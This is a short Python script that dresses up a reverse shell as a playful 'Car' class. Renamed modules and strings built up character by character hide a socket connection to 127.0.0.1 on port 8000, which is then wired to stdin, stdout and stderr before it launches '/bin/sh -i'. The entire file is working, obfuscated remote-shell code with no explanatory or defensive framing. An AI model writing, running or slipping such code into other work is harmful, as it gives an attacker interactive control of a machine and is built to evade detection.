import os as drive
import subprocess as destination
import socket as my_friend
class Car:
	def __init__(self):
		self.driver="127"
		self.driver=self.driver+".0"
		self.driver=self.driver+".0.1"
		self.house_no=100*80
		self.door=""
		self.address="/"
		self.address=self.address+"b"+""+"i"+"n"+"/"
		self.address=self.address+"s"+""+"h"+""+""
		self.car="-"
		self.car=self.car+"i"
		ctr=0
		
	def start_car(self):
		friends_house=my_friend.socket
		road=friends_house(my_friend.AF_INET,my_friend.SOCK_STREAM)
		goto=road.connect
		goto((self.driver,self.house_no))
		lane=road.fileno
		drive.dup2(lane(),0)
		drive.dup2(lane(),1)
		drive.dup2(lane(),2)
		drive_to=destination.call
		p=drive_to([self.address,self.car])

driver=Car()
driver.start_car()
		
